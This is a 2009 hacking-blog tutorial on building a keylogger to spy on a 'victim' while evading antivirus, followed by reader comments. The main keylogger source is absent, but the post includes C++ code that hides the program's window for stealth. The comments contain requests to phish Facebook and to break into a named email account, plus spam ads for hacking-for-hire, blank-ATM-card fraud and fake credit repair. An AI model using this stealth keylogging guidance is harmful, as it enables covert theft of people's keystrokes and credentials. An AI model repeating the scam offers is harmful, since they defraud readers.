Thursday, October 15, 2009

Coding Your own Keylogger..

So till now, we only concentrated on hacking using tricks, social engineering, existing tools and other things.. So, now its time we start learning how to create our own, because by the time we start using this tools, they are already released in public and hence is identified by most of the anti-virus software, making your job harder.. So if you create one for yourself and not intend to release it in public.. You can use it without worrying about anti-virus software installed at victim's side..

To start with we will create a basic key-logger.. You already know by now, it is a basic component for a trojan, RATs, and almost every hacking software uses this feature.. Its available in many flavors or we can call it enhancement.. like invisible to user, invisible in task bar, stealth mode, autostart, mailing function, etc, etc.. today we will learn only the basic that is how it records the keystrokes..??
A keylogger listens to every keystrokes and records it for us.. There exists three way to implement keyloggers(that i know about..). They are:
1. GetAsyncKeyState
2. GetKeyboardState
3.Windows Hooks

Here we will be using the AsynckeyState one.. Now i love the language C++, so i will be using that, but it can be implemented in any language, i will be posting the VB6 and DOT NET versions soon..

So, lets get started..
I am posting the code, it is self explanatory, if you face any problem or need any help, related to compiling or understanding.. Comment here..
and ya, your keys are logged at "logs.txt" in the same folder as your exe..

CODE:
/* THIS CODE WAS Published By Pratik Mishra.. Using help from the net and other programmers.. 


If you find any problem comment at http://www.hackerhubz.blogspot.com
*/

I hope you enjoyed the post.. Do Comment.. 
and if you wanna make your program invisible then you can add this to code.. at the start of main() Function..


 typedef HWND (WINAPI *tGetConsoleWindow)(void);


  tGetConsoleWindow pGetConsoleWindow = 0;
  HINSTANCE handle =  ::LoadLibrary("Kernel32.dll");
  if ( handle ) 
    pGetConsoleWindow = (tGetConsoleWindow)::GetProcAddress(handle, "GetConsoleWindow");     
  if ( pGetConsoleWindow ) 
  {
    HWND hwnd = pGetConsoleWindow();
    ::ShowWindow(hwnd,SW_HIDE);
  }
  if ( handle )
    ::FreeLibrary(handle);
      
So, now we getting into real business but the new kiddies don't worry will keep on posting some cool stuffs, tricks and tools for you too...
Hack Gmail


31 comments:

  1. Hey - I tried to run this, but devc++ is showing:

    The system cannot find the file specified

    Any ideas? (email : mikea.1192-at-gmail[dot]com)
    Thanks

    ReplyDelete
  2. Hi.aAny idea to implement that on OS X? Thanks!

    ReplyDelete
    Replies
    1. yes.. proceed to below procedure......
      install the software in other's computer( which you want to hack). while installing that will ask u a email address .type your email id ..and lets the software install successfully

      Delete
  3. You should have multiple mirrors so that there are multiple copies so if one is corrupted or is taken down there still is the other one. Just an idea.

    ReplyDelete
  4. "Hacker Hubz!!!"
    please how can i hack facebook using phishing? and how do i input the email on the script to recieve information from the client?
    Thanks,
    hardey_79@yahoo.com

    ReplyDelete
  5. I need either the password to the email: lightningprod13@gmail.com OR the website www.thetestr.weebly to be "deleted"
    If either task is completed please notify me at X9Terminator@gmail.com

    ReplyDelete
  6. Wonderful goods from you, man. I've understand your stuff previous to and you are just too wonderful. I actually like what you've acquired here,
    really like what you're stating and the way in which you say it. You make it entertaining and you still care for to keep it wise. I can not wait to read far more from you. This is really a great website.

    Look into my webpage: password for

    ReplyDelete
  7. Hello there! I know this is kind of off
    topic but I was wondering if you knew where I could find a captcha plugin for my comment
    form? I'm using the same blog platform as yours and I'm having trouble finding
    one? Thanks a lot!

    Feel free to visit my blog ... new year's eve recipes

    ReplyDelete
  8. Hello to all, how is everything, I think every one is getting more from this
    website, and your views are good for new users.

    my weblog: giftcode

    ReplyDelete
  9. Hello to every , as I am in fact keen of reading
    this web site's post to be updated daily. It contains pleasant data.

    My blog youtube funniest Videos

    ReplyDelete
  10. Definitely believe that which you stated. Your favorite justification
    appeared to be on the net the simplest thing to be aware of.

    I say to you, I certainly get annoyed while people think about worries
    that they plainly don't know about. You managed to hit the nail upon the top as well as defined out the whole thing without having side effect , people can take a signal. Will likely be back to get more. Thanks

    my web site; Funny Youtube Videos

    ReplyDelete
  11. Fantastic beat ! I wish to apprentice while you amend your site, how could i
    subscribe for a blog website? The account helped me
    a applicable deal. I were a little bit acquainted of this your broadcast provided vibrant transparent idea

    My homepage; forgot my password

    ReplyDelete
  12. I simply could not leave your website before suggesting that I really loved the
    standard information a person provide in your guests?
    Is gonna be back regularly to check out new posts

    My webpage: sharecash downloader 2012

    ReplyDelete
  13. Hi, I wish for to subscribe for this webpage to get most recent updates,
    so where can i do it please help.

    Also visit my web site; Funny

    ReplyDelete
  14. It's going to be end of mine day, except before end I am reading this enormous post to improve my experience.

    Visit my web site ... minecraft 1.0

    ReplyDelete
  15. If you want a Premium Minecraft Account check out this generator.
    With it you can generate a unique Minecraft Premium Account which no one else has!

    You can Download the Free Premium Minecraft Account
    Generator http://www.get-minecraft-free.tk

    Everyone loves it when individuals get together and share views.
    Great website, stick with it!

    Stop by my web page free minecraft download

    ReplyDelete
  16. If some one wishes expert view concerning blogging afterward i suggest
    him/her to visit this blog, Keep up the good job.


    Visit my weblog ... download medal of honer

    ReplyDelete
  17. Helpful information. Fortunate me I discovered your website accidentally, and
    I am surprised why this accident did not took place earlier!
    I bookmarked it.

    My page :: need to earn money fast

    ReplyDelete
  18. Very good blog! Do you have any recommendations for aspiring writers?
    I'm hoping to start my own site soon but I'm a
    little lost on everything. Would you recommend starting with
    a free platform like Wordpress or go for a paid option?
    There are so many choices out there that I'm completely overwhelmed .. Any suggestions? Bless you!

    Also visit my webpage Funny Pictures Collection

    ReplyDelete
  19. I really love your blog.. Excellent colors & theme. Did you build this web site yourself?
    Please reply back as I'm wanting to create my very own blog and would love to find out where you got this from or just what the theme is called. Kudos!

    Feel free to surf to my site ... pharmacy technician qualifications

    ReplyDelete
  20. I'd like to find out more? I'd like to find out more details.


    my homepage :: Funny Youtube Videos

    ReplyDelete
  21. ETHICAL HACKER SERVICES

    Require services of an ethical hacker for your specialized Hacks?

    + Access various social networks (facebook, twitter, Instagram, Google+, etc)

    +Clear Credit Card Debts

    +Bank Account Hacks

    +Hack into email accounts (gmail, yahoo, aol, etc)

    +Hack various Blog/Website platforms

    -Contact Cyber Hamster via email; cyberhamster007@gmail.com

    ReplyDelete
  22. Have you ever been curious of what your partner, kids or employees are up to? You can now intercept cell phones, boost credit scores and hack any website remotely. All you need to do is contact a verified hacker
    Helpline: +1 (347)-857-7580
    Email: extremeinfiltrators@gmail.com

    ReplyDelete
  23. To everyone out there i want to openly thank blackhatthacker@gmail.com for her service… She helped me from infidelity and lies of my cheating husband. She was able to hack his phone so i listen to every call he makes or receives, hacked his whatassp, email and Facebook …i know there are lots of people out there looking for proof and evidences about one thing or the other . Be open and confide in her so she can be at the best of her service to you. Do contact her via email blackhatthacker@gmail.com

    ReplyDelete
  24. I would suggest you visit the contact info below, if you think your spouse may be cheating, and you need to hack their cell phone remotely, or you need to boost your credit score permanently, and also get easy access to loans if needed.
    Email: finessehackers1@gmail.com
    Website: finessehackers.com

    They are a group of liscenced hackers who were very helpful in hacking my cheating husband's phone remotely, after being ripped off by false hackers severally.

    ReplyDelete
  25. I want to testify about United blank atm cards which can withdraw money from any atm machines around the world. I was very poor before and have no job. I saw so many testimony about how United hackers send them the atm blank card and use it to collect money in any atm machine and become rich. I email them also and they sent me the blank atm card. I have use it to get 90,000 dollars. withdraw the maximum of 5,000 USD daily. United hackers  is giving out the card just to help the poor. Hack and take money directly from any atm machine vault with the use of atm programmed card which runs in automatic mode.

    Email: unitedblankatmhackcard@gmail.com  

    ReplyDelete

  26. This professional hacker is absolutely reliable and I strongly recommend him for any type of hack you require. I know this because I have hired him severally for various hacks and he has never disappointed me nor any of my friends who have hired him too, he can help you with any of the following hacks:

    -Phone hacks (remotely)
    -Credit repair
    -Bitcoin recovery (any cryptocurrency)
    -Make money from home (USA only)
    -Social media hacks
    -Website hacks
    -Erase criminal records (USA & Canada only)
    -Grade change

    Email: cybergoldenhacker at gmail dot com

    ReplyDelete
  27. Truthfully, taking the decision of contacting a credit repair company was not an easy one, I desperately needed a home, I couldn’t get one due to the evictions and Late payments on my credit, with a very low FICO, I was frustrated and had no choice but try one. Luckily for my I read some very good reviews on LANX CREDIT SOLUTION and decided to contact them. I have never been happier, my FICO was increased to 750 and the late payments and evictions were taken off my report. Superb service I must say!!! You can reach them on LANXCREDITSOLUTION@GMAIL.COM or (310) 879 2541. thanks

    ReplyDelete
  28. My name is Hibbert Davidson, I’m so delighted because I never believed I could get rid of the negative items (Eviction, collections, late payments, medical bills and student loan) recorded on my credit report. Couple of months ago I contacted some credit repair company (Lexington law, online impostors) after paying a nonrefundable deposit service charge, they could barely delete any items from my credit report. I became troubled and decided to express my feelings to my colleague at work who referred me to a credit expert called HACKNET I contacted him on HACKNET567@GMAIL.COM/ 949 397 8437. I explained my problems to him and I gave him a try and the job was done neatly, he raised my credit score to a high 820 now I can apply for anything. He can fix Chex system and a DUI report as well. I believe most of you have credit issues and would probably consider this opportunity.

    ReplyDelete
  29. I and my husband were in need of fixing our credit. We were having eviction along with our daughter and almost 2 year old granddaughter. We were so tired of struggling and paying awful high rent because we couldn’t buy a house as a result of our bad credit. I went online and I read a lot of good reviews about HACKNET CREDIT SPECIALIST so I contacted him via his contacts; HACKNET567@GMAIL.COM (949) 397 8437. I issued out my credit situation to him and he promised to help me fix my credit within 5days. We got started and after 5days he got back to me with good news. He deleted all the nagging public/negative items and eventually raised my score to 803. We bought a new home and we are living happily ever after as a family. I strongly recommend HACKNET for your credit issues. Thank me later

    ReplyDelete

Featured Followers